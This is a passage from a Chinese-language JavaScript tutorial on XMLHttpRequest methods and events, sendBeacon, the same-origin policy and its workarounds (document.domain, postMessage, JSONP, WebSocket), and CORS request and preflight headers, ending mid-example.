XMLHttpRequest 不仅可以发送请求,还可以发送文件,这就是 AJAX 文件上传。发送文件以后,通过XMLHttpRequest.upload属性可以得到一个对象,通过观察这个对象,可以得知上传的进展。主要方法就是监听这个对象的各种事件:loadstart、loadend、load、abort、error、progress、timeout。

假定网页上有一个<progress>元素。

1
<progress min="0" max="100" value="0">0% complete</progress>

文件上传时,对upload属性指定progress事件的监听函数,即可获得上传的进度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function upload(blobOrFile) {
var xhr = new XMLHttpRequest();
xhr.open('POST', '/server', true);
xhr.onload = function (e) {};

var progressBar = document.querySelector('progress');
xhr.upload.onprogress = function (e) {
if (e.lengthComputable) {
progressBar.value = (e.loaded / e.total) * 100;
// 兼容不支持 <progress> 元素的老式浏览器
progressBar.textContent = progressBar.value;
}
};

xhr.send(blobOrFile);
}

upload(new Blob(['hello world'], {type: 'text/plain'}));

XMLHttpRequest 的实例方法

XMLHttpRequest.open()

XMLHttpRequest.open()方法用于指定 HTTP 请求的参数,或者说初始化 XMLHttpRequest 实例对象。它一共可以接受五个参数。

1
2
3
4
5
6
7
void open(
string method,
string url,
optional boolean async,
optional string user,
optional string password
);
  • method:表示 HTTP 动词方法,比如GETPOSTPUTDELETEHEAD等。
  • url: 表示请求发送目标 URL。
  • async: 布尔值,表示请求是否为异步,默认为true。如果设为false,则send()方法只有等到收到服务器返回了结果,才会进行下一步操作。该参数可选。由于同步 AJAX 请求会造成浏览器失去响应,许多浏览器已经禁止在主线程使用,只允许 Worker 里面使用。所以,这个参数轻易不应该设为false
  • user:表示用于认证的用户名,默认为空字符串。该参数可选。
  • password:表示用于认证的密码,默认为空字符串。该参数可选。

注意,如果对使用过open()方法的 AJAX 请求,再次使用这个方法,等同于调用abort(),即终止请求。

下面发送 POST 请求的例子。

1
2
var xhr = new XMLHttpRequest();
xhr.open('POST', encodeURI('someURL'));

XMLHttpRequest.send()

XMLHttpRequest.send()方法用于实际发出 HTTP 请求。它的参数是可选的,如果不带参数,就表示 HTTP 请求只有一个 URL,没有数据体,典型例子就是 GET 请求;如果带有参数,就表示除了头信息,还带有包含具体数据的信息体,典型例子就是 POST 请求。

下面是 GET 请求的例子。

1
2
3
4
5
6
var xhr = new XMLHttpRequest();
xhr.open('GET',
'http://www.example.com/?id=' + encodeURIComponent(id),
true
);
xhr.send(null);

上面代码中,GET请求的参数,作为查询字符串附加在 URL 后面。

下面是发送 POST 请求的例子。

1
2
3
4
5
6
7
8
9
var xhr = new XMLHttpRequest();
var data = 'email='
+ encodeURIComponent(email)
+ '&password='
+ encodeURIComponent(password);

xhr.open('POST', 'http://www.example.com', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(data);

注意,所有 XMLHttpRequest 的监听事件,都必须在send()方法调用之前设定。

send方法的参数就是发送的数据。多种格式的数据,都可以作为它的参数。

1
2
3
4
5
6
void send();
void send(ArrayBufferView data);
void send(Blob data);
void send(Document data);
void send(String data);
void send(FormData data);

如果send()发送 DOM 对象,在发送之前,数据会先被串行化。如果发送二进制数据,最好是发送ArrayBufferViewBlob对象,这使得通过 Ajax 上传文件成为可能。

下面是发送表单数据的例子。FormData对象可以用于构造表单数据。

1
2
3
4
5
6
7
8
9
var formData = new FormData();

formData.append('username', '张三');
formData.append('email', 'zhangsan@example.com');
formData.append('birthDate', 1940);

var xhr = new XMLHttpRequest();
xhr.open('POST', '/register');
xhr.send(formData);

上面代码中,FormData对象构造了表单数据,然后使用send()方法发送。它的效果与发送下面的表单数据是一样的。

1
2
3
4
5
6
<form id='registration' name='registration' action='/register'>
<input type='text' name='username' value='张三'>
<input type='email' name='email' value='zhangsan@example.com'>
<input type='number' name='birthDate' value='1940'>
<input type='submit' onclick='return sendForm(this.form);'>
</form>

下面的例子是使用FormData对象加工表单数据,然后再发送。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function sendForm(form) {
var formData = new FormData(form);
formData.append('csrf', 'e69a18d7db1286040586e6da1950128c');

var xhr = new XMLHttpRequest();
xhr.open('POST', form.action, true);
xhr.onload = function() {
// ...
};
xhr.send(formData);

return false;
}

var form = document.querySelector('#registration');
sendForm(form);

XMLHttpRequest.setRequestHeader()

XMLHttpRequest.setRequestHeader()方法用于设置浏览器发送的 HTTP 请求的头信息。该方法必须在open()之后、send()之前调用。如果该方法多次调用,设定同一个字段,则每一次调用的值会被合并成一个单一的值发送。

该方法接受两个参数。第一个参数是字符串,表示头信息的字段名,第二个参数是字段值。

1
2
3
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('Content-Length', JSON.stringify(data).length);
xhr.send(JSON.stringify(data));

上面代码首先设置头信息Content-Type,表示发送 JSON 格式的数据;然后设置Content-Length,表示数据长度;最后发送 JSON 数据。

XMLHttpRequest.overrideMimeType()

XMLHttpRequest.overrideMimeType()方法用来指定 MIME 类型,覆盖服务器返回的真正的 MIME 类型,从而让浏览器进行不一样的处理。举例来说,服务器返回的数据类型是text/xml,由于种种原因浏览器解析不成功报错,这时就拿不到数据了。为了拿到原始数据,我们可以把 MIME 类型改成text/plain,这样浏览器就不会去自动解析,从而我们就可以拿到原始文本了。

1
xhr.overrideMimeType('text/plain')

注意,该方法必须在send()方法之前调用。

修改服务器返回的数据类型,不是正常情况下应该采取的方法。如果希望服务器返回指定的数据类型,可以用responseType属性告诉服务器,就像下面的例子。只有在服务器无法返回某种数据类型时,才使用overrideMimeType()方法。

1
2
3
4
5
6
7
8
var xhr = new XMLHttpRequest();
xhr.onload = function(e) {
var arraybuffer = xhr.response;
// ...
}
xhr.open('GET', url);
xhr.responseType = 'arraybuffer';
xhr.send();

XMLHttpRequest.getResponseHeader()

XMLHttpRequest.getResponseHeader()方法返回 HTTP 头信息指定字段的值,如果还没有收到服务器回应或者指定字段不存在,返回null。该方法的参数不区分大小写。

1
2
3
4
5
6
7
8
function getHeaderTime() {
console.log(this.getResponseHeader("Last-Modified"));
}

var xhr = new XMLHttpRequest();
xhr.open('HEAD', 'yourpage.html');
xhr.onload = getHeaderTime;
xhr.send();

如果有多个字段同名,它们的值会被连接为一个字符串,每个字段之间使用“逗号+空格”分隔。

XMLHttpRequest.getAllResponseHeaders()

XMLHttpRequest.getAllResponseHeaders()方法返回一个字符串,表示服务器发来的所有 HTTP 头信息。格式为字符串,每个头信息之间使用CRLF分隔(回车+换行),如果没有收到服务器回应,该属性为null。如果发生网络错误,该属性为空字符串。

1
2
3
4
5
6
7
8
9
var xhr = new XMLHttpRequest();
xhr.open('GET', 'foo.txt', true);
xhr.send();

xhr.onreadystatechange = function () {
if (this.readyState === 4) {
var headers = xhr.getAllResponseHeaders();
}
}

上面代码用于获取服务器返回的所有头信息。它可能是下面这样的字符串。

1
2
3
4
5
6
7
8
9
10
11
date: Fri, 08 Dec 2017 21:04:30 GMT\r\n
content-encoding: gzip\r\n
x-content-type-options: nosniff\r\n
server: meinheld/0.6.1\r\n
x-frame-options: DENY\r\n
content-type: text/html; charset=utf-8\r\n
connection: keep-alive\r\n
strict-transport-security: max-age=63072000\r\n
vary: Cookie, Accept-Encoding\r\n
content-length: 6502\r\n
x-xss-protection: 1; mode=block\r\n

然后,对这个字符串进行处理。

1
2
3
4
5
6
7
8
9
10
11
var arr = headers.trim().split(/[\r\n]+/);
var headerMap = {};

arr.forEach(function (line) {
var parts = line.split(': ');
var header = parts.shift();
var value = parts.join(': ');
headerMap[header] = value;
});

headerMap['content-length'] // "6502"

XMLHttpRequest.abort()

XMLHttpRequest.abort()方法用来终止已经发出的 HTTP 请求。调用这个方法以后,readyState属性变为4status属性变为0

1
2
3
4
5
6
7
8
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.example.com/page.php', true);
setTimeout(function () {
  if (xhr) {
    xhr.abort();
    xhr = null;
  }
}, 5000);

上面代码在发出5秒之后,终止一个 AJAX 请求。

XMLHttpRequest 实例的事件

readyStateChange 事件

readyState属性的值发生改变,就会触发 readyStateChange 事件。

我们可以通过onReadyStateChange属性,指定这个事件的监听函数,对不同状态进行不同处理。尤其是当状态变为4的时候,表示通信成功,这时回调函数就可以处理服务器传送回来的数据。

progress 事件

上传文件时,XMLHttpRequest 实例对象本身和实例的upload属性,都有一个progress事件,会不断返回上传的进度。

1
2
3
4
5
6
7
8
9
10
11
12
13
var xhr = new XMLHttpRequest();

function updateProgress (oEvent) {
if (oEvent.lengthComputable) {
var percentComplete = oEvent.loaded / oEvent.total;
} else {
console.log('无法计算进展');
}
}

xhr.addEventListener('progress', updateProgress);

xhr.open();

load 事件、error 事件、abort 事件

load 事件表示服务器传来的数据接收完毕,error 事件表示请求出错,abort 事件表示请求被中断(比如用户取消请求)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var xhr = new XMLHttpRequest();

xhr.addEventListener('load', transferComplete);
xhr.addEventListener('error', transferFailed);
xhr.addEventListener('abort', transferCanceled);

xhr.open();

function transferComplete() {
console.log('数据接收完毕');
}

function transferFailed() {
console.log('数据接收出错');
}

function transferCanceled() {
console.log('用户取消接收');
}

loadend 事件

abortloaderror这三个事件,会伴随一个loadend事件,表示请求结束,但不知道其是否成功。

1
2
3
4
5
xhr.addEventListener('loadend', loadEnd);

function loadEnd(e) {
console.log('请求结束,状态未知');
}

timeout 事件

服务器超过指定时间还没有返回结果,就会触发 timeout 事件,具体的例子参见timeout属性一节。

用户卸载网页的时候,有时需要向服务器发一些数据。很自然的做法是在unload事件或beforeunload事件的监听函数里面,使用XMLHttpRequest对象发送数据。但是,这样做不是很可靠,因为XMLHttpRequest对象是异步发送,很可能在它即将发送的时候,页面已经卸载了,从而导致发送取消或者发送失败。

解决方法就是unload事件里面,加一些很耗时的同步操作。这样就能留出足够的时间,保证异步 AJAX 能够发送成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function log() {
let xhr = new XMLHttpRequest();
xhr.open('post', '/log', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('foo=bar');
}

window.addEventListener('unload', function(event) {
log();

// a time-consuming operation
for (let i = 1; i < 10000; i++) {
for (let m = 1; m < 10000; m++) { continue; }
}
});

上面代码中,强制执行了一次双重循环,拖长了unload事件的执行时间,导致异步 AJAX 能够发送成功。

类似的还可以使用setTimeout。下面是追踪用户点击的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// HTML 代码如下
// <a id="target" href="https://baidu.com">click</a>
const clickTime = 350;
const theLink = document.getElementById('target');

function log() {
let xhr = new XMLHttpRequest();
xhr.open('post', '/log', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('foo=bar');
}

theLink.addEventListener('click', function (event) {
event.preventDefault();
log();

setTimeout(function () {
window.location.href = theLink.getAttribute('href');
}, clickTime);
});

上面代码使用setTimeout,拖延了350毫秒,才让页面跳转,因此使得异步 AJAX 有时间发出。

这些做法的共同问题是,卸载的时间被硬生生拖长了,后面页面的加载被推迟了,用户体验不好。

为了解决这个问题,浏览器引入了Navigator.sendBeacon()方法。这个方法还是异步发出请求,但是请求与当前页面线程脱钩,作为浏览器进程的任务,因此可以保证会把数据发出去,不拖延卸载流程。

1
2
3
4
5
window.addEventListener('unload', logData, false);

function logData() {
navigator.sendBeacon('/log', analyticsData);
}

Navigator.sendBeacon方法接受两个参数,第一个参数是目标服务器的 URL,第二个参数是所要发送的数据(可选),可以是任意类型(字符串、表单对象、二进制对象等等)。

1
navigator.sendBeacon(url, data)

这个方法的返回值是一个布尔值,成功发送数据为true,否则为false

该方法发送数据的 HTTP 方法是 POST,可以跨域,类似于表单提交数据。它不能指定回调函数。

下面是一个例子。

1
2
3
4
5
6
7
8
9
10
// HTML 代码如下
// <body onload="analytics('start')" onunload="analytics('end')">

function analytics(state) {
if (!navigator.sendBeacon) return;

var URL = 'http://example.com/analytics';
var data = 'state=' + state + '&location=' + window.location;
navigator.sendBeacon(URL, data);
}

同源限制

浏览器安全的基石是“同源政策”(same-origin policy)。很多开发者都知道这一点,但了解得不全面。

概述

含义

1995年,同源政策由 Netscape 公司引入浏览器。目前,所有浏览器都实行这个政策。

最初,它的含义是指,A 网页设置的 Cookie,B 网页不能打开,除非这两个网页“同源”。所谓“同源”指的是“三个相同”。

  • 协议相同
  • 域名相同
  • 端口相同

举例来说,http://www.example.com/dir/page.html这个网址,协议是http://,域名是www.example.com,端口是80(默认端口可以省略),它的同源情况如下。

  • http://www.example.com/dir2/other.html:同源
  • http://example.com/dir/other.html:不同源(域名不同)
  • http://v2.www.example.com/dir/other.html:不同源(域名不同)
  • http://www.example.com:81/dir/other.html:不同源(端口不同)
  • https://www.example.com/dir/page.html:不同源(协议不同)

目的

同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据。

设想这样一种情况:A 网站是一家银行,用户登录以后,A 网站在用户的机器上设置了一个 Cookie,包含了一些隐私信息(比如存款总额)。用户离开 A 网站以后,又去访问 B 网站,如果没有同源限制,B 网站可以读取 A 网站的 Cookie,那么隐私信息就会泄漏。更可怕的是,Cookie 往往用来保存用户的登录状态,如果用户没有退出登录,其他网站就可以冒充用户,为所欲为。因为浏览器同时还规定,提交表单不受同源政策的限制。

由此可见,同源政策是必需的,否则 Cookie 可以共享,互联网就毫无安全可言了。

限制范围

随着互联网的发展,同源政策越来越严格。目前,如果非同源,共有三种行为受到限制。

(1) 无法读取非同源网页的 Cookie、LocalStorage 和 IndexedDB。

(2) 无法接触非同源网页的 DOM。

(3) 无法向非同源地址发送 AJAX 请求(可以发送,但浏览器会拒绝接受响应)。

另外,通过 JavaScript 脚本可以拿到其他窗口的window对象。如果是非同源的网页,目前允许一个窗口可以接触其他网页的window对象的九个属性和四个方法。

  • window.closed
  • window.frames
  • window.length
  • window.location
  • window.opener
  • window.parent
  • window.self
  • window.top
  • window.window
  • window.blur()
  • window.close()
  • window.focus()
  • window.postMessage()

上面的九个属性之中,只有window.location是可读写的,其他八个全部都是只读。而且,即使是location对象,非同源的情况下,也只允许调用location.replace方法和写入location.href属性。

虽然这些限制是必要的,但是有时很不方便,合理的用途也受到影响。下面介绍如何规避上面的限制。

Cookie 是服务器写入浏览器的一小段信息,只有同源的网页才能共享。如果两个网页一级域名相同,只是次级域名不同,浏览器允许通过设置document.domain共享 Cookie。

举例来说,A 网页的网址是http://w1.example.com/a.html,B 网页的网址是http://w2.example.com/b.html,那么只要设置相同的document.domain,两个网页就可以共享 Cookie。因为浏览器通过document.domain属性来检查是否同源。

1
2
// 两个网页都需要设置
document.domain = 'example.com';

注意,A 和 B 两个网页都需要设置document.domain属性,才能达到同源的目的。因为设置document.domain的同时,会把端口重置为null,因此如果只设置一个网页的document.domain,会导致两个网址的端口不同,还是达不到同源的目的。

现在,A 网页通过脚本设置一个 Cookie。

1
document.cookie = "test1=hello";

B 网页就可以读到这个 Cookie。

1
var allCookie = document.cookie;

注意,这种方法只适用于 Cookie 和 iframe 窗口,LocalStorage 和 IndexedDB 无法通过这种方法,规避同源政策,而要使用下文介绍 PostMessage API。

另外,服务器也可以在设置 Cookie 的时候,指定 Cookie 的所属域名为一级域名,比如.example.com

1
Set-Cookie: key=value; domain=.example.com; path=/

这样的话,二级域名和三级域名不用做任何设置,都可以读取这个 Cookie。

iframe 和多窗口通信

iframe元素可以在当前网页之中,嵌入其他网页。每个iframe元素形成自己的窗口,即有自己的window对象。iframe窗口之中的脚本,可以获得父窗口和子窗口。但是,只有在同源的情况下,父窗口和子窗口才能通信;如果跨域,就无法拿到对方的 DOM。

比如,父窗口运行下面的命令,如果iframe窗口不是同源,就会报错。

1
2
3
4
5
document
.getElementById("myIFrame")
.contentWindow
.document
// Uncaught DOMException: Blocked a frame from accessing a cross-origin frame.

上面命令中,父窗口想获取子窗口的 DOM,因为跨域导致报错。

反之亦然,子窗口获取主窗口的 DOM 也会报错。

1
2
window.parent.document.body
// 报错

这种情况不仅适用于iframe窗口,还适用于window.open方法打开的窗口,只要跨域,父窗口与子窗口之间就无法通信。

如果两个窗口一级域名相同,只是二级域名不同,那么设置上一节介绍的document.domain属性,就可以规避同源政策,拿到 DOM。

对于完全不同源的网站,目前有两种方法,可以解决跨域窗口的通信问题。

  • 片段识别符(fragment identifier)
  • 跨文档通信API(Cross-document messaging)

片段识别符

片段标识符(fragment identifier)指的是,URL 的#号后面的部分,比如http://example.com/x.html#fragment#fragment。如果只是改变片段标识符,页面不会重新刷新。

父窗口可以把信息,写入子窗口的片段标识符。

1
2
var src = originURL + '#' + data;
document.getElementById('myIFrame').src = src;

上面代码中,父窗口把所要传递的信息,写入 iframe 窗口的片段标识符。

子窗口通过监听hashchange事件得到通知。

1
2
3
4
5
6
window.onhashchange = checkMessage;

function checkMessage() {
var message = window.location.hash;
// ...
}

同样的,子窗口也可以改变父窗口的片段标识符。

1
parent.location.href = target + '#' + hash;

window.postMessage()

上面的这种方法属于破解,HTML5 为了解决这个问题,引入了一个全新的API:跨文档通信 API(Cross-document messaging)。

这个 API 为window对象新增了一个window.postMessage方法,允许跨窗口通信,不论这两个窗口是否同源。举例来说,父窗口aaa.com向子窗口bbb.com发消息,调用postMessage方法就可以了。

1
2
3
4
// 父窗口打开一个子窗口
var popup = window.open('http://bbb.com', 'title');
// 父窗口向子窗口发消息
popup.postMessage('Hello World!', 'http://bbb.com');

postMessage方法的第一个参数是具体的信息内容,第二个参数是接收消息的窗口的源(origin),即“协议 + 域名 + 端口”。也可以设为*,表示不限制域名,向所有窗口发送。

子窗口向父窗口发送消息的写法类似。

1
2
// 子窗口向父窗口发消息
window.opener.postMessage('Nice to see you', 'http://aaa.com');

父窗口和子窗口都可以通过message事件,监听对方的消息。

1
2
3
4
5
// 父窗口和子窗口都可以用下面的代码,
// 监听 message 消息
window.addEventListener('message', function (e) {
console.log(e.data);
},false);

message事件的参数是事件对象event,提供以下三个属性。

  • event.source:发送消息的窗口
  • event.origin: 消息发向的网址
  • event.data: 消息内容

下面的例子是,子窗口通过event.source属性引用父窗口,然后发送消息。

1
2
3
4
window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
event.source.postMessage('Nice to see you!', '*');
}

上面代码有几个地方需要注意。首先,receiveMessage函数里面没有过滤信息的来源,任意网址发来的信息都会被处理。其次,postMessage方法中指定的目标窗口的网址是一个星号,表示该信息可以向任意网址发送。通常来说,这两种做法是不推荐的,因为不够安全,可能会被恶意利用。

event.origin属性可以过滤不是发给本窗口的消息。

1
2
3
4
5
6
7
8
9
window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
if (event.origin !== 'http://aaa.com') return;
if (event.data === 'Hello World') {
event.source.postMessage('Hello', event.origin);
} else {
console.log(event.data);
}
}

LocalStorage

通过window.postMessage,读写其他窗口的 LocalStorage 也成为了可能。

下面是一个例子,主窗口写入 iframe 子窗口的localStorage

1
2
3
4
5
6
7
window.onmessage = function(e) {
if (e.origin !== 'http://bbb.com') {
return;
}
var payload = JSON.parse(e.data);
localStorage.setItem(payload.key, JSON.stringify(payload.data));
};

上面代码中,子窗口将父窗口发来的消息,写入自己的 LocalStorage。

父窗口发送消息的代码如下。

1
2
3
4
5
6
var win = document.getElementsByTagName('iframe')[0].contentWindow;
var obj = { name: 'Jack' };
win.postMessage(
JSON.stringify({key: 'storage', data: obj}),
'http://bbb.com'
);

加强版的子窗口接收消息的代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
window.onmessage = function(e) {
if (e.origin !== 'http://bbb.com') return;
var payload = JSON.parse(e.data);
switch (payload.method) {
case 'set':
localStorage.setItem(payload.key, JSON.stringify(payload.data));
break;
case 'get':
var parent = window.parent;
var data = localStorage.getItem(payload.key);
parent.postMessage(data, 'http://aaa.com');
break;
case 'remove':
localStorage.removeItem(payload.key);
break;
}
};

加强版的父窗口发送消息代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var win = document.getElementsByTagName('iframe')[0].contentWindow;
var obj = { name: 'Jack' };
// 存入对象
win.postMessage(
JSON.stringify({key: 'storage', method: 'set', data: obj}),
'http://bbb.com'
);
// 读取对象
win.postMessage(
JSON.stringify({key: 'storage', method: "get"}),
"*"
);
window.onmessage = function(e) {
if (e.origin != 'http://aaa.com') return;
console.log(JSON.parse(e.data).name);
};

AJAX

同源政策规定,AJAX 请求只能发给同源的网址,否则就报错。

除了架设服务器代理(浏览器请求同源服务器,再由后者请求外部服务),有三种方法规避这个限制。

  • JSONP
  • WebSocket
  • CORS

JSONP

JSONP 是服务器与客户端跨源通信的常用方法。最大特点就是简单易用,没有兼容性问题,老式浏览器全部支持,服务端改造非常小。

它的做法如下。

第一步,网页添加一个<script>元素,向服务器请求一个脚本,这不受同源政策限制,可以跨域请求。

1
<script src="http://api.foo.com?callback=bar"></script>

注意,请求的脚本网址有一个callback参数(?callback=bar),用来告诉服务器,客户端的回调函数名称(bar)。

第二步,服务器收到请求后,拼接一个字符串,将 JSON 数据放在函数名里面,作为字符串返回(bar({...}))。

第三步,客户端会将服务器返回的字符串,作为代码解析,因为浏览器认为,这是<script>标签请求的脚本内容。这时,客户端只要定义了bar()函数,就能在该函数体内,拿到服务器返回的 JSON 数据。

下面看一个实例。首先,网页动态插入<script>元素,由它向跨域网址发出请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function addScriptTag(src) {
var script = document.createElement('script');
script.setAttribute('type', 'text/javascript');
script.src = src;
document.body.appendChild(script);
}

window.onload = function () {
addScriptTag('http://example.com/ip?callback=foo');
}

function foo(data) {
console.log('Your public IP address is: ' + data.ip);
};

上面代码通过动态添加<script>元素,向服务器example.com发出请求。注意,该请求的查询字符串有一个callback参数,用来指定回调函数的名字,这对于 JSONP 是必需的。

服务器收到这个请求以后,会将数据放在回调函数的参数位置返回。

1
2
3
foo({
'ip': '8.8.8.8'
});

由于<script>元素请求的脚本,直接作为代码运行。这时,只要浏览器定义了foo函数,该函数就会立即调用。作为参数的 JSON 数据被视为 JavaScript 对象,而不是字符串,因此避免了使用JSON.parse的步骤。

WebSocket

WebSocket 是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。

下面是一个例子,浏览器发出的 WebSocket 请求的头信息(摘自维基百科)。

1
2
3
4
5
6
7
8
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com

上面代码中,有一个字段是Origin,表示该请求的请求源(origin),即发自哪个域名。

正是因为有了Origin这个字段,所以 WebSocket 才没有实行同源政策。因为服务器可以根据这个字段,判断是否许可本次通信。如果该域名在白名单内,服务器就会做出如下回应。

1
2
3
4
5
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat

CORS

CORS 是跨源资源分享(Cross-Origin Resource Sharing)的缩写。它是 W3C 标准,属于跨源 AJAX 请求的根本解决方法。相比 JSONP 只能发GET请求,CORS 允许任何类型的请求。

下一章将详细介绍,如何通过 CORS 完成跨源 AJAX 请求。

参考链接

CORS 通信

CORS 是一个 W3C 标准,全称是“跨域资源共享”(Cross-origin resource sharing)。它允许浏览器向跨域的服务器,发出XMLHttpRequest请求,从而克服了 AJAX 只能同源使用的限制。

简介

CORS 需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能。

整个 CORS 通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS 通信与普通的 AJAX 通信没有差别,代码完全一样。浏览器一旦发现 AJAX 请求跨域,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感知。因此,实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 接口,就可以跨域通信。

两种请求

CORS 请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。

只要同时满足以下两大条件,就属于简单请求。

(1)请求方法是以下三种方法之一。

  • HEAD
  • GET
  • POST

(2)HTTP 的头信息不超出以下几种字段。

  • Accept
  • Accept-Language
  • Content-Language
  • Last-Event-ID
  • Content-Type:只限于三个值application/x-www-form-urlencodedmultipart/form-datatext/plain

凡是不同时满足上面两个条件,就属于非简单请求。一句话,简单请求就是简单的 HTTP 方法与简单的 HTTP 头信息的结合。

这样划分的原因是,表单在历史上一直可以跨域发出请求。简单请求就是表单请求,浏览器沿袭了传统的处理方式,不把行为复杂化,否则开发者可能转而使用表单,规避 CORS 的限制。对于非简单请求,浏览器会采用新的处理方式。

简单请求

基本流程

对于简单请求,浏览器直接发出 CORS 请求。具体来说,就是在头信息之中,增加一个Origin字段。

下面是一个例子,浏览器发现这次跨域 AJAX 请求是简单请求,就自动在头信息之中,添加一个Origin字段。

1
2
3
4
5
6
GET /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

上面的头信息中,Origin字段用来说明,本次请求来自哪个域(协议 + 域名 + 端口)。服务器根据这个值,决定是否同意这次请求。

如果Origin指定的源,不在许可范围内,服务器会返回一个正常的 HTTP 回应。浏览器发现,这个回应的头信息没有包含Access-Control-Allow-Origin字段(详见下文),就知道出错了,从而抛出一个错误,被XMLHttpRequestonerror回调函数捕获。注意,这种错误无法通过状态码识别,因为 HTTP 回应的状态码有可能是200。

如果Origin指定的域名在许可范围内,服务器返回的响应,会多出几个头信息字段。

1
2
3
4
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar
Content-Type: text/html; charset=utf-8

上面的头信息之中,有三个与 CORS 请求相关的字段,都以Access-Control-开头。

(1)Access-Control-Allow-Origin

该字段是必须的。它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。

(2)Access-Control-Allow-Credentials

该字段可选。它的值是一个布尔值,表示是否允许发送 Cookie。默认情况下,Cookie 不包括在 CORS 请求之中。设为true,即表示服务器明确许可,浏览器可以把 Cookie 包含在请求中,一起发给服务器。这个值也只能设为true,如果服务器不要浏览器发送 Cookie,不发送该字段即可。

(3)Access-Control-Expose-Headers

该字段可选。CORS 请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个服务器返回的基本字段:Cache-ControlContent-LanguageContent-TypeExpiresLast-ModifiedPragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。上面的例子指定,getResponseHeader('FooBar')可以返回FooBar字段的值。

withCredentials 属性

上面说到,CORS 请求默认不包含 Cookie 信息(以及 HTTP 认证信息等),这是为了降低 CSRF 攻击的风险。但是某些场合,服务器可能需要拿到 Cookie,这时需要服务器显式指定Access-Control-Allow-Credentials字段,告诉浏览器可以发送 Cookie。

1
Access-Control-Allow-Credentials: true

同时,开发者必须在 AJAX 请求中打开withCredentials属性。

1
2
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;

否则,即使服务器要求发送 Cookie,浏览器也不会发送。或者,服务器要求设置 Cookie,浏览器也不会处理。

但是,有的浏览器默认将withCredentials属性设为true。这导致如果省略withCredentials设置,这些浏览器可能还是会一起发送 Cookie。这时,可以显式关闭withCredentials

1
xhr.withCredentials = false;

需要注意的是,如果服务器要求浏览器发送 Cookie,Access-Control-Allow-Origin就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie 依然遵循同源政策,只有用服务器域名设置的 Cookie 才会上传,其他域名的 Cookie 并不会上传,且(跨域)原网页代码中的document.cookie也无法读取服务器域名下的 Cookie。

非简单请求

预检请求

非简单请求是那种对服务器提出特殊要求的请求,比如请求方法是PUTDELETE,或者Content-Type字段的类型是application/json

非简单请求的 CORS 请求,会在正式通信之前,增加一次 HTTP 查询请求,称为“预检”请求(preflight)。浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些 HTTP 动词和头信息字段。只有得到肯定答复,浏览器才会发出正式的XMLHttpRequest请求,否则就报错。这是为了防止这些新增的请求,对传统的没有 CORS 支持的服务器形成压力,给服务器一个提前拒绝的机会,这样可以防止服务器收到大量DELETEPUT请求,这些传统的表单不可能跨域发出的请求。

下面是一段浏览器的 JavaScript 脚本。

1
2
3
4
5
var url = 'http://api.alice.com/cors';
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value');
xhr.send();

上面代码中,HTTP 请求的方法是PUT,并且发送一个自定义头信息X-Custom-Header

浏览器发现,这是一个非简单请求,就自动发出一个“预检”请求,要求服务器确认可以这样请求。下面是这个“预检”请求的 HTTP 头信息。

1
2
3
4
5
6
7
8
OPTIONS /cors HTTP/1.1
Origin: http://api.bob.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

“预检”请求用的请求方法是OPTIONS,表示这个请求是用来询问的。头信息里面,关键字段是Origin,表示请求来自哪个源。

除了Origin字段,“预检”请求的头信息包括两个特殊字段。

(1)Access-Control-Request-Method

该字段是必须的,用来列出浏览器的 CORS 请求会用到哪些 HTTP 方法,上例是PUT

(2)Access-Control-Request-Headers

该字段是一个逗号分隔的字符串,指定浏览器 CORS 请求会额外发送的头信息字段,上例是X-Custom-Header

预检请求的回应

服务器收到“预检”请求以后,检查了OriginAccess-Control-Request-MethodAccess-Control-Request-Headers字段以后,确认允许跨源请求,就可以做出回应。

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://api.bob.com
